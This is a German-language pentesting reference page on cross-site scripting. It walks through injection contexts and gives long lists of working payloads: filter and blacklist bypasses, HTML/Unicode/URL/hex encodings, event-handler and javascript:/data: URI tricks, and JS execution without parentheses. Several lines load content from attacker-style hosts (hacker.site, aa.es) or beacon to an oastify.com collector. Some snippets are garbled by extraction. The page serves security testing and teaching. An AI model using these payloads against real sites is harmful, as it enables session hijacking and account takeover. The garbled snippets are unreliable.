.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
Wenn Sie an einer Karriere im Hacking interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).
{% embed url="https://www.stmcyber.com/careers" %}
Methodik
- Überprüfen Sie, ob ein von Ihnen kontrollierter Wert (Parameter, Pfad, Header?, Cookies?) im HTML reflektiert oder von JS-Code verwendet wird.
- Finden Sie den Kontext, in dem er reflektiert/verwendet wird.
- Wenn reflektiert wird
- Überprüfen Sie, welche Symbole Sie verwenden können und bereiten Sie je nachdem das Payload vor:
- In rohem HTML:
- Können Sie neue HTML-Tags erstellen?
- Können Sie Ereignisse oder Attribute verwenden, die das
javascript:
-Protokoll unterstützen? - Können Sie Schutzmechanismen umgehen?
- Wird der HTML-Inhalt von einem Client-seitigen JS-Motor interpretiert (AngularJS, VueJS, Mavo...), könnten Sie eine Client-seitige Template-Injektion ausnutzen.
- Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine Dangling Markup - HTML scriptless injection ausnutzen?
- Innerhalb eines HTML-Tags:
- Können Sie in den rohen HTML-Kontext wechseln?
- Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen?
- Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS?
- Können Sie Schutzmechanismen umgehen?
- Innerhalb des JavaScript-Codes:
- Können Sie das
<script>
-Tag escapen? - Können Sie den String escapen und unterschiedlichen JS-Code ausführen?
- Befinden sich Ihre Eingaben in Template-Literals ``?
- Können Sie Schutzmechanismen umgehen?
- Der JavaScript-Code, der ausgeführt wird
- Sie können den Namen der auszuführenden Funktion angeben. z. B.:
?callback=alert(1)
- Wenn verwendet wird:
- Sie könnten eine DOM XSS ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre kontrollierte Eingabe von einem Sink verwendet wird.
Bei der Arbeit an einem komplexen XSS könnte es interessant sein zu wissen:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Reflektierte Werte
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen von Ihnen kontrollierten Wert finden, der im Webseiteninhalt reflektiert wird.
- Zwischengespeichert und reflektiert: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine Reflektierte XSS ausnutzen.
- Gespeichert und reflektiert: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine Gespeicherte XSS ausnutzen.
- Über JS zugegriffen: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert mithilfe von JS abgerufen wird, könnten Sie eine DOM XSS ausnutzen.
Kontexte
Beim Versuch, eine XSS auszunutzen, müssen Sie zuerst wissen, wo Ihre Eingabe reflektiert wird. Abhängig vom Kontext können Sie beliebigen JS-Code auf unterschiedliche Weise ausführen.
Rohes HTML
Wenn Ihre Eingabe auf der rohen HTML-Seite reflektiert wird, müssen Sie missbrauchen einige HTML-Tags, um JS-Code auszuführen: <img , <iframe , <svg , <script
... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.
Denken Sie auch an Client-seitige Template-Injektion.
Innerhalb von Attributen von HTML-Tags
Wenn Ihre Eingabe innerhalb des Werts des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
- Aus dem Attribut und dem Tag auszubrechen (dann sind Sie im rohen HTML) und ein neues HTML-Tag zum Missbrauch erstellen:
"><img [...]
- Wenn Sie aus dem Attribut, aber nicht aus dem Tag ausbrechen können (
>
ist codiert oder gelöscht), je nach Tag könnten Sie ein Ereignis erstellen, das JS-Code ausführt:" autofocus onfocus=alert(1) x="
- Wenn Sie nicht aus dem Attribut ausbrechen können (
"
wird codiert oder gelöscht), dann je nach welchem Attribut Ihre Eingabe reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil, könnten Sie es ausnutzen. Zum Beispiel, wenn Sie ein Ereignis wieonclick=
kontrollieren, können Sie beliebigen Code ausführen, wenn darauf geklickt wird. Ein weiteres interessantes Beispiel ist das Attributhref
, bei dem Sie dasjavascript:
-Protokoll verwenden können, um beliebigen Code auszuführen:href="javascript:alert(1)"
- Wenn Ihre Eingabe innerhalb von "nicht ausnutzbaren Tags" reflektiert wird, könnten Sie den
accesskey
-Trick versuchen, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen):" accesskey="x" onclick="alert(1)" x="
Innerhalb von JavaScript-Code
In diesem Fall wird Ihre Eingabe zwischen den <script> [...] </script>
-Tags einer HTML-Seite, innerhalb einer .js
-Datei oder innerhalb eines Attributs mit dem javascript:
-Protokoll reflektiert:
- Wenn zwischen den
<script> [...] </script>
-Tags reflektiert wird, selbst wenn Ihre Eingabe in Anführungszeichen steht, können Sie versuchen,</script>
einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der Browser zuerst die HTML-Tags und dann den Inhalt analysiert, daher wird er nicht bemerken, dass Ihr eingefügtes</script>
-Tag im HTML-Code steht. - Wenn innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie aus dem String ausbrechen, Ihren Code ausführen und den JS-Code rekonstruieren (wenn ein Fehler vorliegt, wird er nicht ausgeführt:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Wenn innerhalb von Template-Literals reflektiert wird, können Sie JS-Ausdrücke mit der Syntax
${ ... }
einbetten:var greetings = `Hello, ${alert(1)}`
- Unicode-Codierung funktioniert, um gültigen JavaScript-Code zu schreiben:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting bezieht sich auf die Möglichkeit, Funktionen, Variablen oder Klassen zu deklarieren, nachdem sie verwendet wurden, um Szenarien auszunutzen, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.
Überprüfen Sie die folgende Seite für weitere Informationen:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript Funktion
Mehrere Webseiten haben Endpunkte, die den Namen der auszuführenden Funktion als Parameter akzeptieren. Ein häufiges Beispiel, das man im Internet sieht, ist etwas wie: ?callback=callbackFunc
.
Ein guter Weg, um herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, den Parametervalue zu ändern (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern wie diesen zu suchen:
Falls es anfällig ist, könnten Sie in der Lage sein, einen Alarm auszulösen, indem Sie einfach den Wert senden: ?callback=alert(1)
. Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt validieren, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen ([\w\._]
).
Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf beliebige Elemente im DOM zuzugreifen:
Einige nützliche Funktionen dafür:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Du kannst auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders
.
Normalerweise sind die Endpunkte, die die angegebene Funktion ausführen, Endpunkte ohne viel interessantes DOM, andere Seiten im selben Ursprung werden ein interessanteres DOM haben, um mehr Aktionen auszuführen.
Daher wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Same Origin Method Execution (SOME)-Ausnutzung entwickelt:
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Es gibt JS-Code, der unsicher einige von einem Angreifer kontrollierte Daten wie location.href
verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art von beliebiger JavaScript-Ausführung kann sogar missbraucht werden, um RCE zu erhalten, beliebige Dateien auf Clients und Servern zu lesen und mehr.
Einige Beispiele:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF-Bypass-Codierungsbild
Einfügen innerhalb von rohem HTML
Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du HTML-Code in diesem Kontext entkommen und einfügen kannst, ist das erste, was du tun musst, zu überprüfen, ob du <
missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, diesen Zeichen zu reflektieren und prüfe, ob es HTML-codiert oder gelöscht wird oder ob es ohne Änderungen reflektiert wird. Nur in letzterem Fall wirst du diese Schwachstelle ausnutzen können.
In solchen Fällen solltest du auch an Client Side Template Injection** denken**.
Hinweis: Ein HTML-Kommentar kann mit** -->
oder ****--!>
** geschlossen werden.
In diesem Fall und wenn keine Black- oder Whitelisting verwendet wird, könntest du Payloads wie:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Aber wenn Tags/Attribut-Blacklisting/Whitelisting verwendet wird, müssen Sie brute-force, welche Tags Sie erstellen können. Sobald Sie festgestellt haben, welche Tags erlaubt sind, müssen Sie brute-force Attribute/Events innerhalb der gefundenen gültigen Tags, um zu sehen, wie Sie den Kontext angreifen können.
Tags/Events brute-force
Gehen Sie zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicken Sie auf Tags in Zwischenablage kopieren. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie alle Events brute-forcen, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf Events in Zwischenablage kopieren klicken und das gleiche Verfahren wie zuvor befolgen).
Benutzerdefinierte Tags
Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, einen benutzerdefinierten Tag zu erstellen und JS-Code mit dem Attribut onfocus
auszuführen. In der XSS-Anfrage müssen Sie die URL mit #
beenden, um die Seite auf dieses Objekt zu fokussieren und den Code auszuführen:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist-Bypasses
Wenn eine Art von Blacklist verwendet wird, könnten Sie versuchen, sie mit einigen albernen Tricks zu umgehen:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Längenbypass (kleine XSSs)
{% hint style="info" %} Weitere winzige XSS für verschiedene Umgebungen Payload finden Sie hier und hier. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Der letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr
Weitere solcher Zeichen finden Sie hier.
Um zu überprüfen, welche Zeichen dekomponiert sind, schauen Sie hier.
Klick XSS - Clickjacking
Wenn Sie die Benutzer dazu bringen müssen, auf einen Link oder ein Formular mit vorab ausgefüllten Daten zu klicken, könnten Sie versuchen, Clickjacking zu missbrauchen (wenn die Seite anfällig ist).
Unmöglich - Dangling Markup
Wenn Sie einfach denken, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zum Ausführen von JS-Code zu erstellen, sollten Sie Dangling Markup überprüfen, da Sie die Schwachstelle ohne Ausführung von JS-Code ausnutzen könnten.
Einfügen innerhalb eines HTML-Tags
Innerhalb des Tags/Entkommen aus dem Attributswert
Wenn Sie sich innerhalb eines HTML-Tags befinden, könnten Sie als Erstes versuchen, aus dem Tag auszubrechen und einige der im vorherigen Abschnitt erwähnten Techniken zu verwenden, um JS-Code auszuführen.
Wenn Sie nicht aus dem Tag ausbrechen können, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, beispielsweise unter Verwendung eines Payloads wie (beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut auszubrechen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt innerhalb des Tags reflektiert wird):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stilereignisse
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Innerhalb des Attributes
Auch wenn Sie nicht aus dem Attribut entkommen können ("
wird codiert oder gelöscht), je nach welchem Attribut Ihr Wert reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil davon, können Sie es missbrauchen. Zum Beispiel, wenn Sie ein Ereignis wie onclick=
kontrollieren, können Sie beliebigen Code ausführen lassen, wenn darauf geklickt wird.
Ein weiteres interessantes Beispiel ist das Attribut href
, bei dem Sie das Protokoll javascript:
verwenden können, um beliebigen Code auszuführen: href="javascript:alert(1)"
Umgehung innerhalb des Ereignisses unter Verwendung von HTML-Codierung/URL-Codierung
Die HTML-codierten Zeichen innerhalb des Werts von HTML-Tag-Attributen werden zur Laufzeit decodiert. Daher wird etwas wie das Folgende gültig sein (der Payload ist fett markiert): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Zurück gehen </a>
Beachten Sie, dass jede Art von HTML-Codierung gültig ist:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Beachten Sie, dass auch die URL-Codierung funktioniert:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Umgehung des inneren Ereignisses unter Verwendung der Unicode-Codierung
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Besondere Protokolle innerhalb des Attributes
Dort können Sie die Protokolle javascript:
oder data:
an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Bei einigen ist eine Benutzerinteraktion erforderlich, bei anderen nicht.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Orte, an denen Sie diese Protokolle einfügen können
Im Allgemeinen kann das javascript:
-Protokoll in jedem Tag verwendet werden, das das Attribut href
akzeptiert, und in den meisten Tags, die das Attribut src
akzeptieren (aber nicht <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Andere Verschleierungstricks
In diesem Fall sind auch die HTML-Codierung und der Unicode-Codierungstrick aus dem vorherigen Abschnitt gültig, da Sie sich innerhalb eines Attributs befinden.
<a href="javascript:var a=''-alert(1)-''">
Darüber hinaus gibt es einen weiteren schönen Trick für diese Fälle: Selbst wenn Ihr Eingabe innerhalb von javascript:...
URL-codiert wird, wird es vor der Ausführung URL-decodiert. Wenn Sie also aus dem String mit einem einfachen Anführungszeichen entkommen müssen und feststellen, dass es URL-codiert wird, denken Sie daran, dass es keine Rolle spielt, es wird zur Ausführungszeit als einfaches Anführungszeichen interpretiert.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Beachten Sie, dass wenn Sie versuchen, sowohl URLencode + HTMLencode
in beliebiger Reihenfolge zu verwenden, um das Payload zu codieren, wird es nicht funktionieren, aber Sie können sie innerhalb des Payloads mischen.
Verwendung von Hex- und Oktalcodierung mit javascript:
Sie können Hex und Oktalcodierung innerhalb des src
-Attributs von iframe
(mindestens) verwenden, um HTML-Tags zur Ausführung von JS zu deklarieren:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Umgekehrtes Tab-Nabbing
<a target="_blank" rel="opener"
Wenn Sie eine beliebige URL in einem beliebigen <a href=
Tag einfügen können, der die Attribute target="_blank" und rel="opener"
enthält, überprüfen Sie die folgende Seite, um dieses Verhalten auszunutzen:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
zum Umgehen von Ereignisbehandlern
Überprüfen Sie zunächst diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) für nützliche "on" Ereignisbehandler.
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignisbehandler zu erstellen, können Sie die folgenden Umgehungen versuchen:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in "Nicht ausnutzbare Tags" (versteckte Eingabe, Link, kanonisch, Meta)
Von hier ist es jetzt möglich, versteckte Eingaben zu missbrauchen mit:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
Und in Meta-Tags:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Von hier: Sie können ein XSS-Payload innerhalb eines versteckten Attributes ausführen, vorausgesetzt, Sie können das Opfer dazu überreden, die Tastenkombination zu drücken. In Firefox Windows/Linux ist die Tastenkombination ALT+SHIFT+X und auf OS X ist es CTRL+ALT+X. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im Zugriffsschlüsselattribut verwenden. Hier ist der Vektor:
<input type="hidden" accesskey="X" onclick="alert(1)">
Die XSS-Payload wird wie folgt aussehen: " accesskey="x" onclick="alert(1)" x="
Umgehen von Blacklists
Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in diesem Abschnitt aufgedeckt. Gehen Sie zurück, um zu lernen, wo Sie verwenden können:
- HTML-Codierung (HTML-Tags)
- Unicode-Codierung (kann gültiger JS-Code sein):
\u0061lert(1)
- URL-Codierung
- Hex- und Oktalcodierung
- Daten-Codierung
Umgehungen für HTML-Tags und Attribute
Lesen Sie die Blacklist-Umgehungen des vorherigen Abschnitts.
Umgehungen für JavaScript-Code
Lesen Sie die JavaScript-Umgehungen der Blacklist des folgenden Abschnitts.
CSS-Gadgets
Wenn Sie eine XSS in einem sehr kleinen Teil der Website gefunden haben, der eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), können Sie versuchen, den Platz zu ändern, den das Element einnimmt, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
Zum Beispiel könnten Sie dem Element einige Styles hinzufügen wie: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Aber wenn die WAF das style-Attribut filtert, können Sie CSS-Styling-Gadgets verwenden. Wenn Sie beispielsweise Folgendes finden:
.test {display:block; color: blue; width: 100%}
und
#someid {top: 0; font-family: Tahoma;}
Können Sie nun unseren Link modifizieren und ihn in die Form bringen:
<a href="" id=someid class=test onclick=alert() a="">
Dieser Trick stammt von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Einfügen innerhalb des JavaScript-Codes
In diesem Fall wird Ihr Input im JS-Code einer .js
-Datei oder zwischen <script>...</script>
-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das javascript:
-Protokoll akzeptieren, reflektiert.
Escapen des <script>-Tags
Wenn Ihr Code innerhalb von <script> [...] var input = 'reflektierte Daten' [...] </script>
eingefügt wird, könnten Sie einfach das Schließen des <script>
-Tags escapen:
</script><img src=1 onerror=alert(document.domain)>
Beachten Sie, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Dies liegt daran, dass zuerst das HTML-Parsing vom Browser durchgeführt wird, was die Identifizierung von Seitenelementen einschließt, einschließlich der Scriptblöcke. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, wird erst danach durchgeführt.
Innerhalb des JS-Codes
Wenn <>
bereinigt werden, können Sie immer noch den Zeichenfolgenwert entkommen lassen, wo Ihre Eingabe platziert ist und beliebiges JS ausführen. Es ist wichtig, die JS-Syntax zu korrigieren, da bei Fehlern der JS-Code nicht ausgeführt wird:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Vorlagenliterale ``
Um Zeichenfolgen neben einfachen und doppelten Anführungszeichen zu konstruieren, akzeptiert JS auch Backticks ``
. Dies wird als Vorlagenliterale bezeichnet, da sie es ermöglichen, eingebettete JS-Ausdrücke mit der Syntax ${ ... }
zu verwenden.
Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb einer JS-Zeichenfolge reflektiert wird, die Backticks verwendet, können Sie die Syntax ${ ... }
missbrauchen, um beliebigen JS-Code auszuführen:
Dies kann missbraucht werden durch:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Codierung von Code-Ausführung
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Encode JS-Ausführung
In diesem Angriff wird JavaScript-Code in Unicode-Zeichenfolgen kodiert, um XSS-Filter zu umgehen und bösartigen Code auf der Webseite auszuführen.
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
JavaScript Umgehungslisten-Techniken
Zeichenketten
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Besondere Escapes
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Leerzeichen-Ersetzungen innerhalb des JS-Codes
<TAB>
/**/
JavaScript-Kommentare (aus dem Trick JavaScript-Kommentare)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript Zeilenumbrüche (aus dem Trick für JavaScript Zeilenumbruch)**
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript Leerzeichen
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript innerhalb eines Kommentars
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript ohne Klammern
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
